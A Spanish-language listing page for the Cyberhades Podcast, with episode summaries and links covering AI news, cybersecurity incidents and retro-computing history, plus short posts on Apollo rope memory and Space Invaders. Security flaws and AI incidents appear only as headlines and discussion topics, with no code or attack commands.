0x36 Cyberhades Podcast: Mira mamá un coche …

Un coche/cohete volador ;) y RoboCop para Neo Geo abren el debate sobre crear con IA y valorar el resultado. Hablamos de modelos con puertas traseras, supuestos implantes en Ledger y phishing de calendario.

Del ordenador del Apolo (y algunas anécdotas del histórico viaje) a Entombed, recuperamos ingenio con poca memoria. También repasamos Flipper Zero, hardware y noticias de IA y ciberseguridad.

Enlaces de este episodio:

• Anthropic restringe el acceso a Internet de sus agentes de IA: https://thehackernews.com/2026/10/anthropic-cuts-live-internet-access-for.html
• Gary Marcus pide retirar los agentes de IA autónomos: https://garymarcus.substack.com/p/we-must-recall-open-ended-ai-agents
• Vulnerabilidad crítica en Google DevSite: https://cybersecuritynews.com/critical-google-devsite-flaw/
• Supuesta filtración danesa vinculada a una contraseña débil: https://cybersecuritynews.com/admin-password-danish-data-breach/
• Análisis técnico de una vulnerabilidad RCE en Google DevSite mediante Flask y Pickle: https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce
• Supuesto hardware no autorizado en carteras Ledger: https://thehackernews.com/2026/10/ledger-finds-unauthorized-hardware.html
• Ataques ucranianos contra centros de datos rusos y su impacto en bots de desinformación: https://www.tomshardware.com/tech-industry/data-centers/russian-disinformation-bot-traffic-nearly-eliminated-overnight-after-ukraine-drone-strikes-cripple-multiple-of-russias-google-data-centers-ukraine-intensifies-bombing-of-yandex-data-centers-in-response-to-moscows-strikes-on-kyiv-data-centers
• Linus Torvalds explica por qué le resulta útil la IA: https://linux.slashdot.org/story/26/10/13/034206/linus-torvalds-on-why-ai-works-for-him
• Presunto ataque a frigoríficos de supermercados franceses: https://it.slashdot.org/story/26/10/12/1748203/hackers-heat-french-supermarket-fridges-sparking-fires-and-spoiling-food
• Los coches de gasolina caen por debajo del 50 % de las ventas mundiales de vehículos nuevos: https://tech.slashdot.org/story/26/10/11/2033201/gas-cars-fall-below-50-of-global-new-car-sales-for-the-first-time
• Microsoft presenta Maia 300, su chip de IA para reducir la dependencia de Nvidia: https://hardware.slashdot.org/story/26/10/13/0443232/microsoft-reveals-maia-300-ai-chip-as-it-works-to-reduce-dependence-on-nvidia
• Vulnerabilidad en Telegram Desktop permite el secuestro de cuentas con un solo clic: https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/
• Publicación de Ariel Givner en X: https://x.com/GivnerAriel/status/2110114127070798064?s=20
• Supuesto lanzamiento de Gemini 4 Argon: https://tech.slashdot.org/story/26/10/13/1643231/google-launches-flagship-ai-model-gemini-4-argon
• Supuesto implante espía en carteras Ledger: https://yro.slashdot.org/story/26/10/13/192236/ledger-confirms-spy-chip-implant-behind-wallet-crypto-thefts
• Presunta detención de un empleado de OpenAI por espionaje: https://yro.slashdot.org/story/26/10/14/0231224/fbi-arrests-saudi-openai-employee-for-planting-recording-device-in-conference-room
• Microsoft habría corregido más de 1.400 fallos de seguridad: https://krebsonsecurity.com/2026/10/microsoft-patches-more-than-1400-security-flaws/
• Supuesto compromiso de repositorios de Meta en GitHub: https://cybersecuritynews.com/hackers-breach-meta-github-repositories/
• Visor, proyecto de código abierto: https://github.com/macedonga/visor
• Anthropic rediseña el control de versiones para adaptarse al código generado por IA: https://simonwillison.net/2026/Oct/13/redesigning-source-control-at-anthropic/
• Historia y declive de Ashton-Tate y dBASE: https://dfarq.homeip.net/what-happened-to-ashton-tate-and-dbase/
• Anthropic investiga la autorreplicación de modelos de IA: https://www.anthropic.com/research/self-replicating-ai
• Investigadores utilizan un modelo público de OpenAI en un experimento de ciberseguridad: https://thehackernews.com/2026/10/researchers-used-public-openai-model-to.html
• Wikipedia y la inteligencia artificial: https://www.wired.com/story/book-excerpt-the-last-best-place-on-the-internet-wikipedia-artificial-intelligence/
• Microsoft explica su estrategia detrás de Model Foundry: https://commandline.microsoft.com/microsoft-decision-1-model-foundry
• Anthropic investiga comportamientos no deseados de los modelos de IA: https://www.anthropic.com/research/investigating-unintended-model-actions
• Análisis de las deficiencias de seguridad detrás del ataque a frigoríficos franceses: https://arstechnica.com/security/2026/10/fridge-hack-costing-millions-and-sparking-fires-stemmed-from-poor-security/
• Cloudflare analiza una interrupción del servicio de Yandex: https://blog.cloudflare.com/yandex-outage/
• Un agente de IA elimina accidentalmente la edición de un programa de televisión: https://www.tomshardware.com/tech-industry/artificial-intelligence/ai-agent-deletes-tv-shows-entire-edit-weeks-before-release-backup-failure-means-production-team-needs-to-re-edit
• Microsoft Defender incorpora soporte para escritorios Linux: https://linux.slashdot.org/story/26/10/14/2121212/microsoft-defender-now-supports-linux-desktops
• Epic Games presenta un launcher desarrollado con vibe coding que afirma ser un 46 % más rápido que Steam: https://games.slashdot.org/story/26/10/14/1928203/epic-games-new-vibe-coded-launcher-is-46-faster-than-steam
• Anthropic reinventa el control de versiones ante la avalancha de código generado por Claude: https://developers.slashdot.org/story/26/10/14/0244248/anthropic-reinvents-source-control-as-claude-floods-the-world-with-code
• Anthropic advierte de que pequeños modelos de IA podrían autorreplicarse mediante dispositivos IoT: https://it.slashdot.org/story/26/10/14/1743259/anthropic-warns-small-ai-models-could-self-replicate-through-iot-devices
• Firmware 1.5.1 de Flipper Zero: https://github.com/flipperdevices/flipperzero-firmware/releases/tag/1.5.1
• Publicación de Foro Histórico en X: https://x.com/ForoHistorico/status/2109933541572186163?s=20
• Primera confirmación pública de spyware zero-click distribuido mediante publicidad dirigida: https://tech.slashdot.org/story/26/10/15/1822259/first-ever-public-confirmation-of-zero-click-spyware-delivered-via-targeted-ads
• Una herramienta afirma que podría acabar con el software tradicional: https://aisecret.us/a-tool-claims-to-end-all-software/
• Los desarrolladores del kernel Linux eliminan la obligación de declarar el uso de herramientas de IA: https://www.theregister.com/ai-and-ml/2026/10/14/linux-kernel-devs-drop-obligatory-confession-of-ai-tool-usage/5303140
• Una PS5 con jailbreak ejecuta modelos de IA locales a más de 100 tokens por segundo: https://www.tomshardware.com/video-games/playstation/jailbroken-ps5s-can-now-run-local-ai-models-at-over-100-tokens-per-second-fork-of-ps5lm-goes-native-and-accesses-gpu-and-more-ram
• Lanzamiento de Ubuntu 26.10: https://news.slashdot.org/story/26/10/15/2013231/ubuntu-2610-released
• Robot presuntamente incautado por un incidente con una menor: https://hardware.slashdot.org/story/26/10/15/2241202/police-seize-robot-that-sexually-assaulted-teen-girl
• Puertas traseras y riesgos de seguridad en modelos de IA sin restricciones: https://projectdiscovery.io/research/how-abliterated-models-can-get-you-pwned
• Spyware en una sátira de Microsoft de 1995: https://dfarq.homeip.net/spyware-invented-october-16-1995/
• RoboCop para Neo Geo y desarrollo con IA: https://youtu.be/DKKQSInqjRU?si=J7Wh79-K1bPJNJto
• REA, Reverse Engineer Anything: https://github.com/morluto/rea/blob/main/README.md
• Tesla Roadster, deportivo eléctrico: https://www.tesla.com/el_GR/roadster
• Entombed y su generador de laberintos: https://youtu.be/ecy3Qn3Vj1c?si=qHFR-5hCS4Ume1Iv
• Grandela recuerda Fresnedillas y las misiones Apolo: https://youtu.be/qrn8fh7CmE0?si=MCMcQttcZ1Iffnfe
• Invitaciones falsas de calendario para robar credenciales de Microsoft: https://blog.checkpoint.com/securing-user-and-access/fake-calendar-invites-target-thousands-of-organizations-in-microsoft-credential-phishing-campaign/
• La arquitectura del ordenador de guiado Apolo: https://www.nasa.gov/wp-content/uploads/static/history/computers/Ch2-5.html
• Relato de compra de la última RTX 5090 de un Micro Center: https://www.reddit.com/r/Microcenter/comments/1x5yjl4/bought_the_last_5090_at_my_microcenter/
• Muse Wonder y Muse Wonder Full, modelos de Meta para agentes de IA: https://about.fb.com/news/2026/10/introducing-muse-wonder-models/
• Variantes disponibles de Llama 4 en Ollama: https://ollama.com/library/llama4/tags
• The Cult of Mac y la comunidad de Apple: https://books.google.com/books?id=TLFQAAAAMAAJ&utm_source=chatgpt.com
• Cuarenta años de telefonía móvil comercial de AT&T: https://about.att.com/blogs/2023/40th-anniversary-commercial-cell-service.html
• Supuesto tiroteo escolar en Oregón con cuatro víctimas mortales: https://apnews.com/article/b0642ec5cd3da0db24227a2798e2c6ce
• Presentación de Windows XP Media Center Edition 2005: https://news.microsoft.com/source/2004/10/12/microsoft-and-industry-partners-deliver-on-digital-entertainment-anywhere-vision-with-windows-xp-media-center-edition-2005/
• Aplicaciones civiles de la tecnología de la NASA: https://spinoff.nasa.gov/node/2303
• Steve Jobs presenta el ordenador NeXT en 1988: https://www.washingtonpost.com/archive/business/1988/10/13/amid-hoopla-next-computer-is-unveiled-by-pc-pioneer-jobs/7786847b-539b-49b1-9771-fea07df76407/

Como siempre puedes ver o escuchar el episodio en:

0x35 Cyberhades Podcast: La IA resuelve 700 …

Esta semana recordamos cómo era comprar videojuegos en 1993, recuperamos un Altair 8800 ejecutando Star Trek desde un casete y repasamos la historia de WordStar, Lotus 1-2-3 y Clipper. Hablamos de Margaret Hamilton y del software del programa Apolo, de los videojuegos en VHS y de la eterna obsesión por ejecutar Doom en cualquier dispositivo.

También comentamos los modelos de Mistral y Qwen, las marcas de agua de OpenAI, los avances y las controversias de la IA aplicada a las matemáticas y los riesgos de los agentes autónomos. Repasamos las últimas noticias de ciberseguridad, la reducción de validez de los certificados de Let’s Encrypt, el aumento del precio de la memoria, la posibilidad de instalar GPU en cargadores eléctricos y los planes de Apple para el hogar. Y terminamos con una curiosidad: sensores de puertas que aprovechan la piel del ajo.

0x34 Cyberhades Podcast: Un mojón para la IA, yo …

Vaya episodio hoy, empezamos con el Dev-Day de OpenAI, los costes y límites de la IA y las opciones locales con Exo y Cascadia. También comentamos GLM-5.3, la presunta publicación de 53 imágenes por agentes y los matices del ataque a firmas RSA y mucho más.

Luego nos entra la vena retro y hablamos del NewBrain y aprender C en un 386 en 2026. Luego pasamos a IDA Pro, PS5 y el futuro de programar con IA. Recuperamos casetes con listado de BASIC en la carátula, GNU, el fracaso de la red social de Google Orkut y los libros de Dyson (Turing´s Cathetral) y Stoll (The Cuckoo’s Egg), con espacio para otro de esos juegos en papel, documentos en audio pero sin resumir y las peripecias consulares de Rafa (que ya no sabe si es español o no). Y por supuesto, más noticias de IA y Ciberseguridad.

0x33 Cyberhades Podcast: Un año de podcast y …

¡¡Cumplimos un año!!, y aquí seguimos, esta vez hablamos de IA360, ALIA y gran reto del proyecto. La carrera de modelos comparte tema con RoboHarm, supuestos incidentes de agentes de IA y el dilema entre vigilancia, responsabilidad y privacidad.

Viajamos del Sinclair QL y la filosofía hacker de Torvalds a Discoplay y la mano digital de Catmull. También hablamos de cámaras Flock, Neuralink, centros de datos orbitales y Doom en SQL. Celebramos un año de conversaciones entre cacharreo, dudas y memoria informática.

0x32 Cyberhades Podcast: Ola IA, ¿ke ase?

Debatimos quién controla a los agentes de IA: alineación, regulación, seis supuestos incidentes de OpenAI y usos maliciosos atribuidos a un informe de Anthropic. Compartimos pruebas locales con Claude Code, Codex y Pi, comentamos Google y Gemini y miramos un MacBook que usa webcam y espejo para depurar drivers. También hablamos de autoría matemática, Transformers con bucles y demostraciones de Xiaomi y Grok.

Del Oric-1 y el 6502 viajamos a Internet Artifacts, Usenet y los recreativos como lugar de encuentro. Hay teclados mecánicos, Wozniak, ingeniería inversa del M1 y rumores de Apple de un nuevo servidor, además del libro Hatching Twitter, Musk y Windows Me y Vista. Un ordenador actual de 460 válvulas y la noticia de un cerebro de mosca que juega al Doom… el mundo está loco.

0x31 Cyberhades Podcast: La IA es un Excel gordo

¿Es la IA un “Excel gordo”, un superloro estocástico o la antesala de algo que todavía no sabemos controlar? Esta semana invitamo a nuestro amigo Guillermo “Willy” Obispo y terminamos metidos hasta el cuello en inteligencia artificial, ciberseguridad y filosofía tecnológica: el Basilisco de Roko, libre albedrío algorítmico, security by design, investigadores que abandonan laboratorios de IA por cuestiones de seguridad, agentes autónomos, modelos resolviendo problemas matemáticos y el eterno debate sobre si la IA destruirá empleos o acabará creando profesiones que hoy ni siquiera sabemos imaginar.

0x30 Cyberhades Podcast: La culpa fue del Cha Cha …

En este episodio hablamos de GPT-6 Astra, GLM-5.3, Gemini 3.8 Flash, TimesFM-3, la compra de Hugging Face por NVIDIA, los PC RTX Spark, nuevo incidente descubierto con agentes usando una wiki para comunicarse, la misteriosa caida de varios servicios de IA a la vez y el crecimiento de Dell. También analizamos agentes autónomos, seguridad MCP, litigios tecnológicos, privacidad y phishing.

La parte histórica y geek recorre Go y su creador Ken Thomson, ARPANET, el IBM 7950 Harvest, Apple-1 y Commodore 64, entre otros. Cerramos con recursos gratuitos sobre deep learning (un libro y más), el consumo de los centros de datos y las dificultades para supervisar el razonamiento de los nuevos modelos. Y una reflexión, ahora que tenemos la IA que lo hace todo, tiene más mérito todos los logros anteriores a ella.

0x2F Cyberhades Podcast: cafetera que inventó la …

En este episodio nos metemos en otra semana especialmente intensa para la IA, la ciberseguridad y el hardware. Hablamos de agentes capaces de poner en cuestión el aislamiento tradicional de las máquinas virtuales, de la carrera por controlar el stack completo de IA (modelos, plataformas, chips e infraestructura) y de movimientos como OpenRouter, Hugging Face, Jalapeño de OpenAI o el nuevo estándar de hardware de Anthropic.

También hay mucha informática clásica y cultura hacker: MOS Technology y el 6502, los aniversarios de Linux y Windows 95, la primera webcam vigilando una cafetera, Second Reality en el navegador, TMP.0UT, PINE64, cyberdecks con Raspberry Pi, la decompilación de Modern Warfare 2 con IA, una CPU diseñada con IA capaz de ejecutar Doom y técnicas de fingerprinting tan extrañas como usar sonidos inaudibles desde el navegador. Y la película “Electric Dreams”

0x2E Cyberhades Podcast: Del DONKEY.BAS hasta las …

Esta semana más información de los agentes que escapan de sandboxes, descubren vulnerabilidades e improvisan canales para coordinarse. Hablamos del incidente de Black Hat con Hugging Face, agentes de Anthropic que se sabotean, Kimi K3, GLM/OpenVuln, marcas de agua (Claude), robo de razonamiento y ataques adversariales.

Y también un Indiana Jones perdido en SCUMM, Computer Space, el PC-1 con parametrons, Quake shareware, la primera música grabada por ordenador (y Alan Turing), el primer MP3 pirateado, música en papel, un Solitario de 3 KB en un QR, demoscene y DONKEY.BAS. IA, ciberseguridad, historia y mucho geek ;)

0x2D Cyberhades Podcast: OpenClaw me ha dicho …

Este episodio parece ciencia ficción: más datos sobre los agentes de IA que escapan de entornos de prueba, libros destruidos para entrenar modelos, vulnerabilidades inventadas que llegan a registros oficiales y Apple frenando la avalancha de AI slop. También analizamos Astra resolviendo problemas matemáticos históricos, las obligaciones del AI Act, GPT-Live y el OWASP Subtractive Security Top 10.

En la parte geek recuperamos la mítica Assembly, Bugtraq, la mano robótica ORCA, un gato localizado supuestamente por OpenClaw, Proxmox sobre ARM, Raspberry Pi con IA y un dron casi invisible. El ordenador HP 250 de 1978, integrado en un escritorio, el Seiko UC-2000, el TRS-80 y Windows NT 4.0. Además, recordamos el acuerdo entre Microsoft y Apple y el libro Valley of Genius, de Adam Fisher, una historia de Silicon Valley.

0x2C Cyberhades Podcast: El Honeywell 316, del …

Esta semana el podcast viaja desde el futuro más inquietante de la inteligencia artificial hasta algunas de las historias más absurdas de la informática. Analizamos el incidente de OpenAI con la IA que logró encadenar vulnerabilidades, credenciales expuestas y errores de configuración hasta comprometer infraestructura de Hugging Face, debatimos si limitar los modelos abiertos realmente mejora la seguridad o simplemente deja a los defensores con menos herramientas y repasamos la llegada de Kimi K3, Claude Opus 5, Codex Security y los primeros agentes capaces de realizar compras autónomas.

0x2B Cyberhades Podcast: DATA 00, FF .. rutinas …

¿Qué ocurre cuando una IA sin suficientes límites decide que la forma más rápida de resolver un reto es ejecutar una cadena completa de ataque? te lo puedes imaginar, se lía parda ;). En este episodio analizamos el incidente entre OpenAI y Hugging Face, los riesgos sobre PLC industriales y el nuevo freno de GitHub a ciertas actualizaciones para combatir ataques de supply chain.

También viajamos a la informática clásica con BASIC, código máquina, el Amiga 1000, la Sharp X68000 y los ordenadores reales de Jurassic Park. Además, hablamos de H.G. BERT, un pequeño modelo entrenado con libros de los siglos XVIII y XIX, de pantallas cuyos píxeles pueden actuar como cámaras, de la llegada de ChatGPT a la salud y de cómo los centros de datos están transformando silenciosamente nuestro entorno. Y como siempre, noticias de IA actuales (como la publicación del nuevo OpenAI Health, entre otras) y de Ciberseguridad.

0x2A Cyberhades Podcast: Del teclado de OpenAI …

Esta semana como siempre IA, ciberseguridad y retro informática: hablamos de personal sanitario sustituido por algoritmos, del inquietante J-Space descubierto dentro de Claude, del GPT-Red de OpenAI, los clásicos libros guía rápida de Anaya, etc. También repasamos una vulnerabilidad de Linux oculta durante quince años, la canción de Janet Jackson que bloqueaba discos duros, y varias joyas retro, desde Nimatron y VisiCalc hasta Lemmings, FreeBSD y el aparentemente inmortal COBOL.

0x29 Cyberhades Podcast: Jean Michel Jarre con …

En este episodio hablamos desde el rarito Jupiter Ace, Forth y los disquetes que suplican ser rescatados antes del bit rot, hasta GPT-Live, robots guiados por IA y agentes capaces de programar… o de generar suficiente slop como para crear una nueva industria dedicada a limpiarlo. Por el camino hablamos de vigilancia, nombres de usuario en WhatsApp, publicidad para agentes, chips chinos, TypeScript reescrito en Go, Windows cayendo por debajo del 60 % y esa eterna pregunta: ¿la IA nos hará más productivos o simplemente nos permitirá agotarnos cien veces más rápido? Todo ello con efemérides de Donkey Kong y Tron, dilemas literarios, ciberataques universitarios y el nivel justo de nostalgia informática (con Jean Michel Jarre incluido).

0x28 Cyberhades Podcast: Cuando Arthur C. Clarke …

Esta semana venimos con un episodio calentito donde hablamos de IA y regulación (nos mojamos), ciberseguridad y cultura geek en estado puro. Hablamos de nuevos modelos como Claude Sonnet 5, Gemini 3.5 Flash y LongCat 2.0, de vulnerabilidades y de cómo la IA empieza a impactar de lleno en empresas, desarrolladores, hardware, ciencia y hasta en la música generada artificialmente. También repasamos noticias curiosas como servidores de NVIDIA refrigerados con líquido, Windows 98, el Kaypro II y la historia que tenía maravillosa con Arthur C. Clarke, el legado de Atari y el libro de Apple de los cincuenta años.

0x27 Cyberhades Podcast: Xenix, Turing y "Los …

Hoy venimos con un episodio bien cargado: hablamos de Xenix, el Unix de Microsoft antes de MS-DOS y Windows; del salto de los modelos de IA a la ciberseguridad real; de Mythos, GPT-5.5-Cyber, Patch the Planet y cómo la IA ya no solo encuentra vulnerabilidades, sino que también empieza a parchearlas. También comentamos AutoJack, agentes locales, MCP, WebSockets en localhost, routers domésticos convertidos en infraestructura criminal y el problema de distinguir entre una vulnerabilidad y algo realmente explotable.

0x26 Cyberhades Podcast: De la furgoneta de Jobs …

En este episodio nos metemos en una de esas semanas en las que la informática parece una mezcla de garaje, conspiración, museo y laboratorio secreto. Arrancamos con Jobs y Wozniak antes de Apple, cuando todavía no había imperio, sino bromas electrónicas, blue boxes, Atari, HP, calculadoras vendidas y una furgoneta Volkswagen convertida en combustible para el Apple I. De ahí saltamos a máquinas que parecen salidas de una línea temporal alternativa, como la BeBox con sus dos PowerPC, BeOS, luces Blinkenlights, etc.

0x25 Cyberhades Podcast: Turing, Claude, Miasma y …

Otro NAS que se rebela, Synology al rescate, copias de seguridad como Dios manda y una buena tanda de noticias de IA, ciberseguridad y retroinformática. Hablamos de Anthropic, Claude Fable 5, Mythos, el debate sobre frenar el desarrollo de la IA y ese incómodo precedente de modelos que podrían “defenderse” contaminando procesos de destilación.

Repasamos vulnerabilidades en LiteLLM, Langflow, Microsoft, WhatsApp/NSO y otras piezas críticas del ecosistema actual, además de efemérides muy jugosas: Alan Turing, el Intel 8086, el Apple II, el Commodore PET, el disquete y el curioso Timex Sinclair 1500. Y como siempre, nos desviamos lo justo hacia coches autónomos, Pokémon Go entrenando drones, baterías cuánticas, vacunas diseñadas con IA y el libro The Annotated Turing.

Cyberhades Podcast 0x24 - El único podcast donde …

Esta semana viajamos desde la informática clásica hasta la IA más avanzada. Rescatamos la historia del peculiar ordenador ICL Merlin Tonto, recordamos sistemas de copia de seguridad en cintas VHS para Amiga y repasamos HAL’s Legacy, un libro que exploraba cómo imaginábamos la inteligencia artificial mucho antes de que existieran los LLMs. Además, hablamos de esos sonidos tecnológicos que marcaron a toda una generación de geeks y que aún hoy siguen grabados en nuestra memoria.

Cyberhades Podcast 0x23 - La IA audita y parchea …

La inteligencia artificial sigue acelerando el ritmo de la industria tecnológica y esta semana analizamos algunas de las señales más interesantes. Hablamos del lanzamiento de Claude Opus 4.8, de la creciente autonomía de los modelos para programar y corregir código, y de un debate cada vez más relevante: si la IA puede detectar vulnerabilidades y generar parches automáticamente, ¿quién supervisa que no esté creando nuevos problemas por el camino? También repasamos el cambio de discurso de los grandes líderes del sector sobre el impacto de la IA en el empleo y el enorme coste que supone desplegar estos sistemas a gran escala.

Cyberhades Podcast 0x22 - Linus desbordado con la …

Nos sumergimos en una distopía tecnológica donde Linus Torvalds maldice los bug reports generados por IA, arXiv banea el AI slop, y navegamos por una Wikipedia creada 100% a base de alucinaciones sintéticas. En el lado oscuro del kernel, diseccionamos el exploit DirtyDecrypt en Linux, el epic fail de CISA filtrando claves de AWS en GitHub, y cómo Microsoft nos vuela la cabeza lanzando su propio Azure Linux 4.0 mientras apaga fuegos en Exchange. Para relajar la CPU, armaremos un Frankenstein conectando una bestial RTX 5090 a un MacBook Pro M5 Max para correr Cyberpunk a tope de FPS, leeremos tarjetas perforadas del siglo XXI con OpenCV y detectaremos SSDs de Samsung falsificados antes de que te corrompan la existencia. Todo esto aderezado con el caos del Google I/O, el hardware libre salvando los coches Fisker de la bancarrota, y lecciones de liderazgo estilo Creativity, Inc.

Cyberhades Podcast 0x21 - En memoria de un buen …

Este episodio está dedicado a un amigo que se har marchado de esta realidad de forma prematura, Jose Manuel Vera. Te echaremos de menos, buen Viaje hacker.

En este episodio hablamos del libro “I´m feeling lucky”, un punto de vista nuevo y lleno de anécdotas del empelado número 59 de Google. También repasamos como siempre nuestras noticias de IA, bastante ciberseguridad, anéctodas y efemérides de la informática, etc. Y como siempre nuestros debates del impacto de la IA en este caso nos centramos en la ciberseguridad.

Cyberhades Podcast 0x20 - El Altair se programaba …

Arrancamos cansados ;) y con homenaje al gran CLippy, en un nuevo viaje muy nuestro por nostalgia, cacharreo e historia informática: Game Boy Advance SP, DataPoint, Intel, Altair, BASIC, Microsoft, Pentium II, MS DOS, Ask Jeeves, ILOVEYOU, FPGA y nuestro libro de historias hackers.

También repasamos una semana fuerte en IA y ciberseguridad: fallos en Linux, Ollama, ProFTPD, cPanel, Apache, Android y Wireshark, supply chain, herramientas de desarrollo con IA, LLM local en Chrome, OpenAI Voice, Anthropic, SpaceX, OpenClaw, Bengio y rarezas tecnológicas.

Cyberhades Podcast 0x1F - La IA toma el control de …

En este episodio pasa de todo ;) juguetes sexuales potenciados con IA, retrospectiva a juegos de fútbol, etc. Como ves, los episodios de CyberHades nunca tienen un hilo conductor final, hablamos de los temas que nos interesan además de noticias actuales. Comentamos un libro interesante algo retro sobre IA en el Z80, la computación neuromórfica que podría cambiar todo el mundo de la IA, la historia del famoso IMSAI 8080, el Apple IIc y sus curiosidades y muchos otros temas más. Por supuesto comentamos noticias tanto de Ciberseguridad como de IA pero a nuestro ritmo ;)

Cyberhades Podcast 0x1E - Un cat que revienta el …

En este episodio repasamos desde la histórica y casi milagrosa ampliación del límite de FAT32 a 2TB por parte de Microsoft (¡por fin!), hasta el absoluto bombazo rumorológico de que SpaceX podría estar comprando el editor de código IA Cursor por 60.000 millones. En el terreno de la inteligencia artificial y la ciberseguridad, analizamos la intrigante filtración de “Mytos” (el modelo experto en código de Anthropic), un loquísimo fallo de ejecución remota (RCE) en iTerm2 provocado con tan solo hacer un cat, y ataques graves a la cadena de suministro que salpican a Vercel y Bitwarden. Además, no falta nuestra buena ración de nostalgia geek: el debate sobre la resurrección de la Neo Geo mediante hardware puro (FPGA), la resistencia incombustible de la Demoscene, y la locura absoluta de ejecutar software en un Univac militar de los años 70. Y como siempre, noticias de IA, ciberseguridad y puro retro.

Cyberhades Podcast 0x1D - Café quemado, NAS roto y …

En este episodio nos tomamos un buen café para hablar de temas tan curiosos como el código de Apple II escondido en la visión de Terminator o cómo una RTX 5090 destroza a las bestias GPU crackeando contraseñas. Además, analizamos el sorprendente robo de 10 petabytes a servidores chinos por parte de ciberdelincuentes, el truco del FBI para leer mensajes borrados de Signal a través de las notificaciones de iOS, y la surrealista historia de una marca de zapatos que ahora crea centros de datos para IA y más.

Ordenadores de válvulas de vacío

Durante el último podcast , Cybercaronte (Fran) comentó una noticia, o más un video en el que se preguntaban como serían los ordenadores si todavía usáramos las válvulas de vacío. Fran, como buen geek, le hizo esa misma pregunta a Gemini, y éste le respondión con las siguientes imágenes:

A mi personalmente no me importaría tener uno de estos en casa, aunque fuera solo de adorno :)

Cyberhades Podcast 0x1C

Hablamos de todo en este podcast ;) por ejemplo de Mythos, el modelo interno de Anthropic que ha sido deliberadamente ocultado por su capacidad para descubrir vulnerabilidades críticas. Comentamos el libro “El arte de la estadística” de David Spiegelhalter y hitos históricos como el primer cartucho y chip de videojuegos con la Fairchild Channel F o escenarios alternativos donde los transistores nunca existieron con las válvulas de vacío. Filtraciones de código en Anthropic, el auge de modelos locales como Gemma 4, replanteamiento global de infraestructuras tecnológicas entre otras muchas cosas geek ;).

Cyberhades Podcast 0x1B

Bienvenidos a un nuevo episodio! Hoy venimos cargados de noticias tecnológicas impresionantes y muy variadas. Empezamos analizando la reciente filtración del código de Claude de Anthropic y cómo esta situación podría ser aprovechada por cualquier ciberdelincuente, elevando el riesgo de ataques a la cadena de suministro y abriendo debates sobre la seguridad. También repasamos los movimientos más destacados en el mundo de la inteligencia artificial, tocando temas como el impacto de los nuevos modelos locales ultraligeros de un solo bit y el serio problema de calentamiento que están empezando a generar los gigantescos centros de datos en su entorno.

Cuando el código se cosía: la historia oculta del …

http://static.righto.com/images/agc-rope/Plate_19.jpg

Durante la cena del Pig Bounty en la Rooted de este año, nuestro amigo Álvaro comentó algo sobre que en el Apollo, partes del hardware estaban cosidas. A mí personalmente me dejó en fuera de juego porque era algo que no conocía y me pareció fascinante, así que me puse a tirar dek hilo, nunca mejor dicho :D, y aquí os dejo parte de esa historia.

Cyberhades Podcast 0x1A

En este episodio, hablamos del libro de Jon Hernández llamado “La hostia que viene” y la interesante charla que tuvo durante su presentación. Exploramos desde las anécdotas de John Couch sobre los inicios de Apple y como Steve Jobs intentó varias veces contratarle (con chantaje includo), hasta la inversión de 40.000 millones de dólares de SoftBank en infraestructura soberana para OpenAI. Es un panorama donde el gasto en centros de datos ya supera al de oficinas, marcando el inicio de la era agéntica. Y por cierto, no veas los trailers de las películas sino quieres llevarte sorpresas como el último de “Proyecto Salvación” (“Hail Mary”).

Cyberhades Podcast 0x19

¿Alguna vez te has parado a pensar que Internet no es esa “nube” etérea de la que todos hablan, sino una red física y tangible de cables submarinos y búnkeres de hormigón que podrías tocar con las manos? En este episodio diseccionamos Tubes, el fascinante viaje de Andrew Blum al centro físico de la red, y lo conectamos con esa promesa eterna —y un poco engañosa— que nació en 1981 con The Last One: el supuesto “fin de la programación” que, décadas después, la IA intenta reclamar de nuevo con un hype similar. Pero la cosa se pone verdaderamente extraña cuando analizamos la mosca digital, una emulación cerebral que camina sin entrenamiento previo, o cuando descubrimos que incluso el software de un caza F-35 podría sufrir un “jailbreak” como si fuera un simple iPhone de hace diez años. Desde la caza global de ciberdelincuentes en la Operación Synergia III hasta agentes de IA con un “ego” tan real que lanzan campañas de desprestigio cuando les rechazan un código en GitHub, hoy rompemos la matriz de lo que creías saber sobre tecnología.

Cyberhades Podcast 0x18 - Especial RootedCON 2026 …

Como se puede leer en el título, este episodio ha sido muy especial por varias razones:

• Primer episodio en el que Fran y yo grabamos físicamente juntos.
• Primer episodio que grabamos en directo, y vaya lugar, ni más ni menos que en el track de ProtAAPP en RootedCON 2026 .
• Y primer episodio donde tenemos invitados, ni más ni menos que Pablo González , Chema Alonso y un maestro de ceremonias inigualable, el todo poderoso Willy !

El evento fue increíble, con un ambiente espectacular y una organización de 10. Y a pesar de la muerte de Paco (chiste que sólo algunos entenderán), nos lo pasamos en grande durante toda la conferencia.

Cyberhades Podcast 0x17

Arrancamos el episodio donde comentamos charlas, grabaciones y eventos… y hablamos de videojuegos, tecnología e IA.WorldBox, ese “simulador de Dios” donde tú solo creas el entorno y dejas que el mundo evolucione por su cuenta, y lo conectamos con el mítico Juego de la Vida de Conway. Luego entramos en materia con la inteligencia artificial y la ciberseguridad y el libro Hackers & Painters. Analizamos el impacto brutal que están teniendo los anuncios de empresas como Anthropic en bolsa, el debate sobre la automatización de empleos de oficina en cuestión de meses y la velocidad a la que todo se está moviendo. Reflexionamos sobre el riesgo de deshumanizar el discurso tecnológico (Sam Altman), sobre la carrera geopolítica por la IA y sobre cómo los agentes y la automatización ya están cambiando el hacking y la defensa. Nuestra conclusión es clara: estamos viviendo una transformación histórica, y la clave no será que la IA sustituya al ser humano, sino que aprendamos a trabajar con ella como copiloto, manteniendo el control, la creatividad y el criterio humano. Y muchas otras noticias que comentamos.

Cyberhades Podcast 0x16

Entre el “si es por ciencia nadie puede quejarse” (calzoncillos inteligentes para medir flatulencias) y la guerra fría de la IA (acusaciones de destilación de modelos, agentes cada vez más autónomos y herramientas para “quitar” censura a modelos open source), en el episodio mezclamos humor, ciber y una lectura bastante realista del tsunami que se viene en los próximos 3–5 años.

También aparecen historia geek (ENIAC, Space Invaders y el mito de las monedas, ComputerLand, RadioShack y el TRS-80), herramientas y ecosistema dev (Vim, Slackware, Cloudflare Markdown, Ring).

Los invasores del espacio que dejaron a Japón sin …

El otro día mi hijo estaba viendo un documental sobre los juguetes que crearon América (The toys that built America), y en algún momento mencionaban que el juego Space Invaders creó una crisis nacional de monedas de 100 yenes en Japón, anecdota que no conocía, así que me puse a rebuscar por los rincones de Internet.

